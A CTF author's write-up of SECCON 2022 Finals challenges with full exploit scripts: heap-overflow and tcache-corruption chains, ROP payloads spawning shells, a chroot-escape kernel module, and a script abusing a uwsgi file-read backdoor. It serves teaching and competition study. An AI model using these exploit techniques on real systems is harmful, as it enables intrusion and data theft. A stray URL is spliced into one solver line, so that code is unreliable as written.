I supported the organization of SECCON CTF 2022 Finals on February 11th and 12th in Asakusabashi, Tokyo. This is the write-ups for the Jeopardy challenges I created for this CTF.
I will write about the "King of the Hill" challenges later.
The challenge files are uploaded here*1:
Other write-ups by other challenge authors:
[ To the players ] I'm looking forward to reading your write-ups!
Posting only solver scripts is fine if you're busy.
Tag #SECCON or ping @ptrYudai if you post it on twitter :)
Category | Challenge | Estimated Difficulty (Domestic / International) |
Score | Solves (Domestic / International) |
Keywords |
---|---|---|---|---|---|
Pwnable | diagemu | Easy / Warmup | 200 | 2 / 8 | Unicorn, Heap overflow |
Pwnable | babyescape | Hard / Easy | 250 | 1 / 6 | chroot, seccomp, Sandbox Escape |
Pwnable | Dusty Storage | Lunatic / Medium | 300 | 0 / 7 | Heap, tcache |
Pwnable | Conversation Starter | 500 | Impossible / Hard | 0 / 6 | Heap overflow, sbrk |
Reversing | Whisky | Warmup / Warmup | 100 | 7 / 10 | Backdoor, uwsgi |
Reversing | Paper House | 250 | Hard / Medium-hard | 3 / 7 | Raspberry Pi Pico, Hardware |
Reversing | Check in Abyss | 300 | Lunatic / Hard | 1 / 8 | SMI handler |
The score of the Jeopardy challenges are set to static points. This is because it's hard to predict the final score of each challenge and balance them with the King of the Hill challenges.
An x86-64 emulator written in C with the Unicorn engine is given. You can run arbitrary machine code in the emulator. The following code shows the important feature of this emulator:
uint64_t last_insn_addr; uint16_t last_insn_size; static void record_insn(uc_engine *uc, uint64_t address, uint16_t size, void *_user_data) { last_insn_addr = address; last_insn_size = size; } void show_crash_dump(uint8_t *code) { uint32_t pos = v2ofs(last_insn_addr); printf("[FATAL] Segmentation fault\nCrash at 0x%lx (insn:", last_insn_addr); for (uint32_t i = 0; i < last_insn_size; i++) printf(" %02x", code[pos + i]); printf(")\n"); } ... if (uc_emu_start(uc, ADDR_CODE_BASE, ADDR_CODE_BASE + SIZE_CODE, 0, 0)) { show_crash_dump(code); reads("Patch: ", code + v2ofs(last_insn_addr), last_insn_size); continue; }
When your code crashes, the emulator enters diagnostic mode. You can overwrite the instruction that caused the crash, and restart the code from the beginning.
There is no obvious bug in this program. However, the vulnerability occurs due to a bad design of the Unicorn library.
The part of the code records the last instruction executed.
uint64_t last_insn_addr; uint16_t last_insn_size; static void record_insn(uc_engine *uc, uint64_t address, uint16_t size, void *_user_data) { last_insn_addr = address; last_insn_size = size; }
This information is used in order to patch the instruction when it crashed the program.
last_insn_size
holds the size of the last instruction.
What would happen when the crash is SIGILL? How does unicorn define the size of undefined instruction?
The answer is 0xF1F1F1F1.
I don't understand why the programmer decided to use this magic number. Anyway, a large heap buffer overflow occurs in diagemu due to this design.
There are many function pointers that the Unicorn engine uses.
My exploit overwrites one of them and writes a very simple call chain in order to set RDI to "/bin/sh" and call system
.
from ptrlib import * import os HOST = os.getenv("SECCON_HOST", "localhost") PORT = int(os.getenv("SECCON_PORT", "9001")) code = nasm(""" xend ; instruction not recognized by unicorn db 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42 """, bits=64) libc = ELF("./libc.so.6") libunicorn = ELF("../files/diagemu/bin/libunicorn.so.2") sock = Process("../files/diagemu/bin/diagemu", env={"LD_LIBRARY_PATH": "../distfiles/"}) sock.sendafter(": ", str(len(code))) sock.sendafter(": ", code) sock.recvuntil("insn: ") leak = b'' for i in range(0xf1f1): leak += bytes.fromhex(sock.recvregex("[0-9a-f]{2}").decode()) libunicorn_base = u64(leak[0xa8:0xb0]) - libunicorn.symbol('x86_reg_read_x86_64') libunicorn.base = libunicorn_base libc.base = libunicorn.base - 0x228000 do_system = libc.base + 0x508f0 rop_mov_rdi_praxP648h_call_praxP640h = libc.base + 0x00094b36 payload = leak[:0xb0] + p64(rop_mov_rdi_praxP648h_call_praxP640h) + leak[0xb8:] payload = payload[:0x20+0x640] + p64(do_system+2) + p64(next(libc.find("/bin/sh"))) + payload[0x20+0x650:] sock.sendafter("Patch: ", payload) sock.sh()
I found this magic number when I was trying to make a Unicorn pwnable challenge that abuses xbegin
instruction (and it turned out Unicorn doesn't support this feature).
That's why I'm using xend
as an undefined instruction in my exploit XD
I heard a solution to overwrite RWX region of Unicorn instead of the call chain, which sounds interesting.
The program is simple enough to paste here:
#include <linux/seccomp.h> #include <sys/prctl.h> #include <unistd.h> static void install_seccomp() { static unsigned char filter[] = { 32,0,0,0,4,0,0,0,21,0,0,12,62,0,0,192,32,0,0,0,0,0,0,0,53,0,10,0,0,0,0, 64,21,0,9,0,161,0,0,0,21,0,8,0,165,0,0,0,21,0,7,0,16,1,0,0,21,0,6,0, 169,0,0,0,21,0,5,0,101,0,0,0,21,0,4,0,54,1,0,0,21,0,3,0,55,1,0,0,21,0,2, 0,48,1,0,0,21,0,1,0,155,0,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0 }; struct prog { unsigned short len; unsigned char *filter; } rule = { .len = sizeof(filter) >> 3, .filter = filter }; if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) _exit(1); if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) _exit(1); } int main(void) { char *args[] = {"/bin/sh", NULL}; if (chroot("sandbox")) { write(STDERR_FILENO, "chroot failed\n", 14); _exit(1); } if (chdir("sandbox")) { write(STDERR_FILENO, "chdir failed\n", 13); _exit(1); } install_seccomp(); return execve(args[0], args, NULL); }
You have the root shell 🎉
However, the following seccomp filter is installed:
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014 0004: 0x15 0x09 0x00 0x000000a1 if (A == chroot) goto 0014 0005: 0x15 0x08 0x00 0x000000a5 if (A == mount) goto 0014 0006: 0x15 0x07 0x00 0x00000110 if (A == unshare) goto 0014 0007: 0x15 0x06 0x00 0x000000a9 if (A == reboot) goto 0014 0008: 0x15 0x05 0x00 0x00000065 if (A == ptrace) goto 0014 0009: 0x15 0x04 0x00 0x00000136 if (A == process_vm_readv) goto 0014 0010: 0x15 0x03 0x00 0x00000137 if (A == process_vm_writev) goto 0014 0011: 0x15 0x02 0x00 0x00000130 if (A == open_by_handle_at) goto 0014 0012: 0x15 0x01 0x00 0x0000009b if (A == pivot_root) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00000000 return KILL
Since chroot
is disabled, you cannot simply bypass it.
So, how can one escape from chroot?
One idea is to take control of another root process because chroot
only separates the directory, not process namespace.
However, every system call useful for controlling process is disabled*2.
Another famous system call is open_by_handle_at
, also known as Shocker in the context of Docker escape.
This system call is also disabled.
Let's check what system calls a container must disable. Fortunately Docker publishes the list of dangerous system calls.
You will notice kexec_load
and kexec_file_load
in the table.
These system calls allow us to load a Linux kernel module, which looks very useful for this challenge.
You have to download a Linux kernel corresponding to the version used in this challenge. Then, you can build your own kernel module which exploits the system.
#include <linux/module.h> #include <linux/kernel.h> #include <linux/cdev.h> #include <linux/fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <linux/random.h> #include <asm/uaccess.h> #define DEVICE_NAME "pwn" MODULE_LICENSE("GPL"); MODULE_AUTHOR("ptr-yudai"); MODULE_DESCRIPTION("Intended Solution for chr00t - SECCON 2022 Finals"); static int module_open(struct inode *inode, struct file *file) { int ret; char userprog[] = "/bin/sh"; char *argv[] = { userprog, "-c", "/bin/cat /root/flag.txt > /sandbox/flag.txt", NULL }; char *envp[] = {"HOME=/", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL }; ret = call_usermodehelper(userprog, argv, envp, UMH_WAIT_EXEC); if (ret != 0) printk("pwn: failed with %d\n", ret); else printk("pwn: success\n"); return 0; } static struct file_operations module_fops = { .owner = THIS_MODULE, .open = module_open, }; static int __init module_initialize(void) { register_chrdev(60, DEVICE_NAME, &module_fops); return 0; } static void __exit module_cleanup(void) { unregister_chrdev(60, DEVICE_NAME); } module_init(module_initialize); module_exit(module_cleanup);
It looks like some teams couldn't get the flag simply by calling call_usermodehelper
.
I don't know why ¯\(シ)/¯
Who wants ice cream? Who wants heap heaven?
The source code is a bit long (147 lines) so I'll paste only the important part:
#define TYPE_REAL 0xdeadbeefcafebabeUL #define TYPE_STRING 0xc0b3beeffee1deadUL typedef struct { union { double real; char *string; }; size_t type; } item_t; typedef struct { size_t size; item_t *items; } storage_t; ... void set_item(storage_t *storage) { if (!storage->items) { print("uninitialized\n"); return; } size_t idx = readi("index: "); size_t type = readi("type [0=str / x=real]: "); if (type == 0) { storage->items[idx].type = TYPE_STRING; } else { storage->items[idx].type = TYPE_REAL; } if (idx >= storage->size) { print("insufficient storage size\n"); return; } if (storage->items[idx].type == TYPE_STRING) { storage->items[idx].string = reads("value: "); } else { storage->items[idx].real = readf("value: "); } }
You will immediately notice the out-of-bounds write in set_item
.
However, it only writes the type of an item, which is just a very big random value such as 0xdeadbeefcafebabe.
So, you have a primitive to write very big values to anywhere relative to the heap. What can we do?
First of all, you have to leak some pointers. This is not so hard.
- Allocate a big chunk fit to unsorted bin.
- Free the chunk and link pointers to
main_arena
(top of unsorted bin) are written on the heap. - Allocate a small chunk and it'll be sliced from the previously freed chunk with the link pointers left.
- Read the leftover of a link pointer (recognized as
REAL
value)
""" Leak heap and libc addresses """ new(0x428 // 0x10) get('0' + '\0'*0x80) new(0x28 // 0x10) libc.base = u64(p64(float(get(0)))) - libc.main_arena() - 0x450 heap_base = u64(p64(float(get(1)))) - 0x310 logger.info("heap: " + hex(heap_base))
Okay, so the next thing is the most important part of this task.
We have to exploit the program with writing 0xdeadbeefcafebabe to somewhere.
Some would come up with global_max_fast
, which holds the threshold size for fastbin.
However, we can't overwrite this variable as it's located at the offset of value
, not type
.
The intended solution is to overwrite mp_.tcache_bins
instead of global_max_fast
.
mp_.tcache_bins
holds the threshold size for tcache.
This value is not intended to be modified in libc but became writable since libc-2.29 or thereabouts.
If you overwrite mp_.tcache_bins
to a big value, malloc
tries to pop tcache chunks out-of-bound of the actual tcache arena.
So, malloc
returns a pointer that the attacker set somewhere on the heap, which drops AAW primitive.
I modified _IO_list_all
to get the shell using the technique recently found by kylebot.
from ptrlib import * import os HOST = os.getenv("SECCON_HOST", "localhost") PORT = int(os.getenv("SECCON_PORT", 9007)) TYPE_STR, TYPE_REAL = 0, 1 def new(size): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(size)) def set(index, type, value=None): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", str(type)) if value is not None: if isinstance(value, bytes): sock.sendlineafter(": ", value) elif isinstance(value, int): value = u64f(p64(value)) sock.sendlineafter(": ", str(value)) else: sock.sendlineafter(": ", str(value)) def get(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) return sock.recvline() libc = ELF("../files/husk/bin/libc.so.6") sock = Socket(HOST, PORT) """ Leak heap and libc addresses """ new(0x428 // 0x10) get('0' + '\0'*0x80) new(0x28 // 0x10) libc.base = u64(p64(float(get(0)))) - libc.main_arena() - 0x450 heap_base = u64(p64(float(get(1)))) - 0x310 logger.info("heap: " + hex(heap_base)) """ Corrupt mp_.tcache_bins """ addr_mp = libc.base + 0x219360 ofs = ((addr_mp + 0x60) - (heap_base + 0x320)) // 0x10 set(ofs, TYPE_REAL) """ Get arbitrary address from malloc """ payload = str(0x458 // 0x10).encode() payload += b'\x00' * (0x10-len(payload)) payload += p64(libc.base + 0x21a680) sock.sendlineafter("> ", "1") sock.sendlineafter(": ", payload) """ Write fake FILE structure """ fake_file = flat([ 0x3b01010101010101, u64(b"/bin/sh\0"), 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, ], map=p64) fake_file += p64(libc.symbol("system")) fake_file += b'\x00' * (0x88 - len(fake_file)) fake_file += p64(heap_base) fake_file += b'\x00' * (0xa0 - len(fake_file)) fake_file += p64(heap_base + 0x350) fake_file += b'\x00' * (0xd8 - len(fake_file)) fake_file += p64(libc.base + 0x2160c0) fake_file += p64(heap_base + 0x358) assert is_gets_safe(fake_file) set(0, TYPE_STR, fake_file) """ Win! """ sock.sendlineafter("> ", "0") sock.interactive()
Some teams solved this challenge with more tricky solution without mp_.tcache
.
Good job!
I didn't expect so many teams in the international division would solve this task.
This program has 2 vulnerabilities. The first one is a heap overflow caused by an integer overflow:
void readline(const char *msg, u8 delim, u8 *buf, u32 size) { u8 c; u32 i; printf("%s", msg); for (c = 0, i = 0; i < size-1; i++) { if (read(STDIN_FILENO, &c, 1) != 1) { break; } else if (delim && c == delim) { buf[i] = '\0'; return; } buf[i] = c; } for (; i < size-1; i++, buf[i] = '\0'); } void start_conversation(void) { u8 size; if (read_u32("change name? [1=Yes / 2=No]: ") == 1) { size = (u8)read_u32("length of name 1: "); readline("name 1: ", 0, name_alice, size); size = (u8)read_u32("length of name 2: "); readline("name 2: ", 0, name_bob, size); } ...
If you send "0" as the length of name, readline
tries to read forever due to the integer overflow in size-1
.
However, this vulnerability is not useful because of the following code in readline
:
for (; i < size-1; i++, buf[i] = '\0');
If size is 0, this loop runs 0xffffffff-n times, which obviously cause a crash.
The another vulnerability is a small heap overflow in edit_message
:
void edit_message(void) { u32 index, type; index = read_u32("index: "); if (index >= MAX_SLOT) return; slot[index]->interval = read_u32("interval: "); type = read_u32("[1] sleep / [2] usleep: "); slot[index]->fn_sleep = (type == 1) ? (void*)sleep : usleep; readline("message: ", '\n', slot[index]->message, sizeof(dialogue_t)-1); }
dislogue_t
is defined as below:
typedef struct { i32 (*fn_sleep)(u32); u32 interval; char message[40]; } dialogue_t;
So, the size of message
is 40.
However, readline
tries to read sizeof(dialogue_t)-1
bytes.
Since readline
reads size-1
bytes, this is 46-byte overflow.
As the size of dialogue_t
is 48=0x30, the overflow looks like this:
As shown in the above figure, the heap overflow overwrites the first 2 bytes of fn_sleep
in the adjacent slot.
fn_sleep
holds a function pointer to either sleep
or usleep
.
You can't simply use one gadget due to seccomp that disables execve
.
Let's check what functions exist near sleep
and usleep
.
$ objdump -S -M intel /usr/lib/x86_64-linux-gnu/libc.so.6 > objdump.txt $ cat objdump.txt | grep "<sleep>" 00000000000ea5e0 <sleep>: 132755: e8 86 7e fb ff call ea5e0 <sleep> 13c682: e8 59 df fa ff call ea5e0 <sleep> 13d3ce: e8 0d d2 fa ff call ea5e0 <sleep> $ cat objdump.txt | grep "00000000000e" 00000000000e0da0 <strptime_l>: 00000000000e0db0 <strftime>: 00000000000e0dd0 <wcsftime>: ... 00000000000edc20 <collated_compare>: 00000000000edc60 <glob_in_dir>: 00000000000ee5b0 <[email protected]@GLIBC_2.27>: $ cat objdump.txt | grep "<usleep>" 000000000011c090 <usleep>: $ cat objdump.txt | grep "000000000011" 0000000000111110 <parse_arith>: 0000000000111630 <wordfree>: 00000000001116a0 <wordexp>: ... 000000000011fd60 <trecurse_r>: 000000000011fdf0 <tdestroy_recurse>: 000000000011ffd0 <__tsearch>:
If you look over the functions near usleep
, you can find something interesting:
... 000000000011a960 <nice>: 000000000011a9d0 <brk>: 000000000011aa10 <__sbrk>: 000000000011aac0 <ioctl>: 000000000011ab50 <readv>: ...
brk
and sbrk
are famous for heap pwners.
These functions can be used in order to change the location of the program break.
In other words, they can expand the heap.
Recall that we had another vulnerability in readline
, which we couldn't abuse because it overwrites the heap "infinitely".
Now, with the sbrk
call, we can expand the heap so that the infinite overwrite doesn't crash!
With the infinite overflow, we can freely overwrite function pointers on the heap. You have to write some tricky call chains due to seccomp but I don't cover it as it's not the important part of this task.
from ptrlib import * import os HOST = os.getenv("SECCON_HOST", "localhost") PORT = int(os.getenv("SECCON_PORT", "9002")) SLEEP, USLEEP = 1, 2 def edit(index, interval, type, message): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", str(interval)) sock.sendlineafter(": ", str(type)) if len(message) == 0x36: sock.sendafter(": ", message) else: sock.sendlineafter(": ", message) def start(name1len=0, name1=b'', name2len=0, name2=b''): sock.sendlineafter("> ", "2") if name1: sock.sendlineafter(": ", "1") sock.sendlineafter(": ", str(name1len)) sock.sendafter(": ", name1) sock.sendlineafter(": ", str(name2len)) sock.sendafter(": ", name2) else: sock.sendlineafter(": ", "2") libc = ELF("libc-2.31.so") while True: sock = Socket(HOST, PORT) libc.base = 0 elf.base = 0 """ Leak libc base """ edit(0, 0, USLEEP, b"A"*0x36) edit(1, 1, USLEEP, "Hello") start() l = sock.recvlineafter("Alice: ")[0x34:] libc.base = u64(l) - libc.symbol("usleep") if libc.base < 7e0000000000 or libc.base >= 0x800000000000 \ or libc.base & 0xf000 != 0x3000: logger.warning("Bad luck!") sock.close() continue """ Expand heap """ edit(1, 0x34000000, USLEEP, "Hello") payload = b"\x00"*(4+0x28) payload += p64(0x41) payload += b'\xe0\x72' edit(0, 0xcafe, USLEEP, payload) start() if b"Segmentation fault" in sock.recvline(): logger.warning("Bad luck!") sock.close() continue elif b"Segmentation fault" in sock.recvline(): logger.warning("Bad luck!") sock.close() continue """ Heap overflow """ start(8, "A"*8, 0, "B"*0x110) payload = b'' payload += p64(next(libc.gadget('mov rax, [rbp+8];' 'call [rax+0x28]'))) payload += p32(0xdeadbeef) payload += b'A' payload += b'/flag.txt\0' payload += b'A' * (0x40 - len(payload)) payload += p64(next(libc.gadget('add rsp, 0x28;' 'ret;'))) payload += p64(libc.base + 0x0012796f) payload += b'A' * (0x40 + 0x18 - len(payload)) payload += p64(next(libc.gadget('pop r15; ret;'))) payload += b'A' * (0x40 + 0x28 - len(payload)) payload += p64(next(libc.gadget('mov [rsp], rax;' 'mov rax, [rbp+8];' 'call [rax+8]'))) payload += flat([ next(libc.gadget('mov rdi, rbx; call [rax+0x18]')), next(libc.gadget('pop rsi; ret;')), 0, libc.symbol('open'), next(libc.gadget('pop rdx; ret;')), 0x1000, next(libc.gadget('pop rsi; ret;')), libc.section('.bss') + 0x1000, next(libc.gadget('pop rdi; ret;')), 3, libc.symbol('read'), next(libc.gadget('pop rdi; ret;')), 1, libc.symbol('write'), next(libc.gadget('pop rdi; ret;')), 0, libc.symbol('exit') ], map=p64) sock.send(payload) sock.shutdown("write") logger.info("[+] Wait until the flag comes... (Don't enter anything)") sock.interactive() break
I was making a pwnable task of uwsgi but I changed it to an easy reversing task as there were enough pwnable tasks already.
You're given an uwsgi library that works as an HTTP server. If you open it with IDA and briefly check the code, you will soon notice it has a backdoor.
char *val = uwsgi_get_var(wsgi_req, "HTTP_BACKDOOR", 13, &vlen); ... if (!uwsgi_strnicmp(val, vlen, "enabled", 7) && wsgi_req->authorization_len == 16 && wsgi_req->uri) { char *path = uwsgi_strncopy(wsgi_req->uri, wsgi_req->uri_len); char *key = uwsgi_strncopy(wsgi_req->authorization, wsgi_req->authorization_len); backdoor(wsgi_req, path, (unsigned char*)key); free(path); free(key); }
I think the only hard thing in this challenge is to spot the offset for each member of wsgi_request
structure.
You can find it here:
The backdoor is simple.
It opens a file specified in the URL path, encrypt the file with AES-128-ECB using the key given in Authentication
header, and response the encrypted file in Backdoor
header.
from Crypto.Cipher import AES import requests import os HOST = os.getenv("SECCON_HOST", "localhost") PORT = int(os.getenv("SECCON_PORT", "8080")) key = "A"*0x10 r = requests.get(f"http://{HOST}:{PORT}/flag.txt", headers={ 'Backdoor': 'enabled', 'Authorization': key }) c = bytes.fromhex(r.headers['Backdoor']) aes = AES.new(key.encode(), AES.MODE_ECB) print(aes.decrypt(c))
The task is to reverse engineer a digital circuit for the keypad authentication system of a safe.
I was planning to make a real hardware (including the safe) for this challenge so that every team can debug it. However, the keypad required to assemble the circuit haven't arrived my home yet...
So, I just distributed the circuit diagram and UF2 file of Raspberry Pi Pico.
It's super simple.
The main part is reversing UF2. You can extract the machine code using the UTF2 tools. Ghidra is able to decompile the code a little if you specify the architecture (ARM:LE:32:v8) by youself.
There is a function that records the button pushed.
int check_button_state(uint state, bool prev[16]) { int j; bool row1, row2, row3, row4, col1, col2, col3, col4; row1 = (state >> PIN_ROW1) & 1; row2 = (state >> PIN_ROW2) & 1; row3 = (state >> PIN_ROW3) & 1; row4 = (state >> PIN_ROW4) & 1; col1 = (state >> PIN_COL1) & 1; col2 = (state >> PIN_COL2) & 1; col3 = (state >> PIN_COL3) & 1; col4 = (state >> PIN_COL4) & 1; bool check[16] = { row4 & col1, row1 & col1, row1 & col2, row1 & col3, row2 & col1, row2 & col2, row2 & col3, row3 & col1, row3 & col2, row3 & col3, row1 & col4, row2 & col4, row3 & col4, row4 & col4, row4 & col3, row4 & col2, }; uint table[16] = { 15, 3, 10, 1, 4, 5, 12, 13, 9, 2, 6, 11, 8, 7, 14, 0 }; for (j = 0; j < 16; j++) { if (!prev[j] && check[j]) { prev[j] = true; return table[j]; } else if (!check[j]) { prev[j] = false; } } return -1; } ... state = gpio_get_all(); n = check_button_state(state, prev_state); if (n != -1) { play_click(&config, slice); sleep_ms(100); slot[slot_pos] = n; slot_pos++; if (slot_pos == 16) { unlock_door(&config, slice, slot); slot_pos = 0; } }
The only important part in the code above is the table in check_button_state
.
It maps the number pushed onto some other numbers.
The actual check routine exists in unlock_door
function:
void unlock_door(pwm_config *config, uint slice, uint slot[16]) { uint x = 0, v = 777; for (uint i = 0; i < 16; i++) { x |= slot[i] - (v & 0xf); if (v % 2 == 0) { v >>= 1; } else { v = v * 3 + 1; } } if (x == 0) { play_ok(config, slice); gpio_put(PIN_MOTOR, 1); sleep_ms(5000); gpio_put(PIN_MOTOR, 0); } else { play_error(config, slice); } }
Compute this sequence, inverse them by the given table, and you will get the answer sequence.
s = [777] for _ in range(1, 16): n = s[-1] if n % 2 == 0: s.append(n // 2) else: s.append(n * 3 + 1) table = [15, 3, 10, 1, 4, 5, 12, 13, 9, 2, 6, 11, 8, 7, 14, 0] itable = [table.index(i) for i in range(16)] print(s) v = list(map(lambda x: itable[x % 0x10], s)) print(v)https://en.wikipedia.org/wiki/Made_in_Abyss print("SECCON{", end='') for x in v: print(hex(x)[2:].upper(), end='') print("}")
The challenge is named after the title of a recent drama: Money Heist. "Paper House" is the Japanese translation of the title. Until I write this writeup, I didn't know the English title was different.
The following 4 files are distributed:
- bios.bin
- bzImage
- rootfs.cpio
- run.sh
The QEMU gives you a root shell.
As written in the challenge description, there is a program named delver
This program has an unfamiliar instruction: outb 0xb2
.
outb al, 0xb2
Googling this instruction, you will find it is the entry of the SMM; System Management Mode. SMM is the most privileged operation mode in x86 and also called Ring -1.
You have to first find the entrypoint of the SMI handler.
You can search for inb XX, 0xb2
instruction in the BIOS code.
Or, if you notice the BIOS is based on SeaBIOS, you can diff the BIOS codes to spot patched codes.
The algorithm is not that hard. It is a simple RC4-based encryption:
from ptrlib import * with open("FLAG.txt", "rb") as f: flag = f.read().strip() S = [i for i in range(0x100)] j, h = 0, 0xba77c1 for i in range(0x100): j = (j + S[i] + h) % 0x100 S[i], S[j] = S[j], S[i] h = (h * h) % (1 << 32) for block in chunks(flag, 8, b'\x00'): j = key = 0 for i in range(8): j = (j + S[i]) % 0x100 S[i], S[j] = S[j], S[i] key = (key << 8) | S[(S[i] + S[j]) % 0x100] print(hex(key ^ u64(block)), end=", ") print()
However, you may struggle to understand the user-land code because some registers are referenced / modified inside the SMI handler.
unsigned long long int index = smm->cpu.i64.rdi; unsigned long long int plain = smm->cpu.i64.rdx; ... smm->cpu.i64.rip = smm->cpu.i64.r15; ok: smm->cpu.i64.rdi = index; smm->cpu.i64.rax = 0;
Also, it is hard to debug SMI handler. If you know a beautiful way to debug this layer, please teach me :)
The challenge is named after a recent Japanese anime: Made in Abyss. For me, the Ring system of the Intel architecture looked similar to the Abyss in the anime, a giant hole descending deep into the earth. SMM is actually not the "abyss" of the Intel architecture, but I think it's the deepest part that can be emulated on QEMU.
I'm looking forward to reading your write-ups!
Tweet it with #SECCON
or @ptrYudai
so that we can find your writeup :-)
- github.com Solution for babyescape by Team Enu